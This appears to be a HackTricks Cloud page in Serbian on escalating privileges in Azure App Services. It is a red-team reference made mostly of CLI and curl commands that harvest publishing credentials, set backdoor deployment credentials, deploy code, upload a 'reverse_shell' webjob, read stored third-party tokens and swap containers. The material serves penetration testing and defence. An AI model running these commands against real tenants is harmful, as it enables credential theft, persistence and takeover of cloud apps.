Az - App Services Privesc
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
App Services
Za više informacija o Azure App uslugama pogledajte:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ove dozvole omogućavaju pristup SSH shell-u unutar web aplikacije. Takođe omogućavaju debug aplikacije.
- SSH u jednoj komandi:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Kreirajte tunel i zatim se povežite na SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Debug the application:
- Instalirajte Azure ekstenziju u VScode.
- Prijavite se u ekstenziju sa Azure nalogom.
- Ispisujte sve App usluge unutar pretplate.
- Izaberite App uslugu koju želite da debagujete, desni klik i izaberite "Start Debugging".
- Ako aplikacija nema omogućeno debagovanje, ekstenzija će pokušati da ga omogući, ali vaš nalog treba da ima dozvolu
Microsoft.Web/sites/config/write
da bi to uradio.
Obtaining SCM Credentials & Enabling Basic Authentication
Da biste dobili SCM akreditive, možete koristiti sledeće komande i dozvole:
- Dozvola
Microsoft.Web/sites/publishxml/action
omogućava pozivanje:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Napomena kako je korisničko ime uvek isto (osim u FTP-u gde se na početku dodaje ime aplikacije) ali je lozinka ista za sve njih.
Pored toga, SCM URL je <app-name>.scm.azurewebsites.net
.
- Dozvola
Microsoft.Web/sites/config/list/action
omogućava pozivanje:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Napomena kako su akreditivi isti kao u prethodnoj komandi.
- Druga opcija bi bila da postavite svoje akreditive i koristite ih:
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Zatim, možete koristiti ove kredencijale da pristupite SCM i FTP platformama. Ovo je takođe odličan način za održavanje postojanosti.
Zapamtite da za pristup SCM platformi sa veb-a morate pristupiti <SCM-URL>/BasicAuth
.
warning
Imajte na umu da svaki korisnik može konfigurisati svoje kredencijale pozivajući prethodnu komandu, ali ako korisnik nema dovoljno dozvola za pristup SCM ili FTP, kredencijali neće raditi.
- Ako vidite da su ti kredencijali REDAKTOVANI, to je zato što morate omogućiti opciju osnovne autentifikacije za SCM i za to vam je potrebna druga dozvola (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Objavite kod koristeći SCM akreditive
Samo sa validnim SCM akreditivima moguće je objaviti kod na App servisu. To se može uraditi koristeći sledeću komandu.
Za ovaj python primer možete preuzeti repozitorijum sa https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, napraviti bilo kakve promene koje želite i zatim zipovati pokretanjem: zip -r app.zip .
.
Zatim možete objaviti kod u web aplikaciji sa sledećom komandom:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM kredencijali
Pomenuta Azure dozvola omogućava izvođenje nekoliko zanimljivih akcija koje se takođe mogu izvesti sa SCM kredencijalima:
- Čitaj Webjobs logove:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Pročitajte Webjobs izvorni kod:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Kreirajte kontinuirani Webjob:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ove dozvole omogućavaju da se dodeli upravljana identitet servisu aplikacije, tako da ako je servis aplikacije prethodno kompromitovan, ovo će omogućiti napadaču da dodeli nove upravljane identitete servisu aplikacije i poveća privilegije za njih.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Ova dozvola omogućava listanje connection strings i appsettings App servisa koji mogu sadržati osetljive informacije kao što su kredencijali za bazu podataka.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Pročitajte Konfigurisane Akreditive Treće Strane
Pokretanjem sledeće komande moguće je pročitati akreditive treće strane konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
Evo nekoliko primera komandi za proveru tokena:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Ažuriranje koda aplikacije iz izvora
- Ako je konfigurisan izvor treće strane kao što su Github, BitBucket ili Azure Repository, možete ažurirati kod usluge aplikacije kompromitovanjem izvornog koda u repozitorijumu.
- Ako je aplikacija konfigurisana koristeći daljinski git repozitorij (sa korisničkim imenom i lozinkom), moguće je dobiti URL i osnovne autentifikacione podatke za kloniranje i slanje izmena sa:
- Koristeći dozvolu
Microsoft.Web/sites/sourcecontrols/read
:az webapp deployment source show --name <app-name> --resource-group <res-group>
- Koristeći dozvolu
Microsoft.Web/sites/config/list/action
: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
- Ako je aplikacija konfigurisana da koristi lokalni git repozitorij, moguće je klonirati repozitorij i slati izmene u njega:
- Koristeći dozvolu
Microsoft.Web/sites/sourcecontrols/read
: Možete dobiti URL git repozitorijuma saaz webapp deployment source show --name <app-name> --resource-group <res-group>
, ali će to biti isto kao SCM URL aplikacije sa putanjom/<app-name>.git
(npr.https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git
). - Da biste dobili SCM akreditive, potrebna vam je dozvola:
Microsoft.Web/sites/publishxml/action
: Zatim pokreniteaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
.Microsoft.Web/sites/config/list/action
: Zatim pokreniteaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
warning
Imajte na umu da je, imajući dozvolu Microsoft.Web/sites/config/list/action
i SCM akreditive, uvek moguće implementirati u webapp (čak i ako je konfigurisana da koristi treću stranu) kao što je pomenuto u prethodnom odeljku.
warning
Imajte na umu da je, imajući dozvole u nastavku, takođe moguće izvršiti proizvoljni kontejner čak i ako je webapp konfigurisana drugačije.
Microsoft.Web/sites/config/Write
, Microsoft.Web/sites/config/Read
, Microsoft.Web/sites/config/list/Action
, Microsoft.Web/sites/Read
Ovo je skup dozvola koji omogućava modifikaciju kontejnera koji se koristi od strane webapp-a. Napadač bi mogao da ga zloupotrebi da natera webapp da izvrši zlonamerni kontejner.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.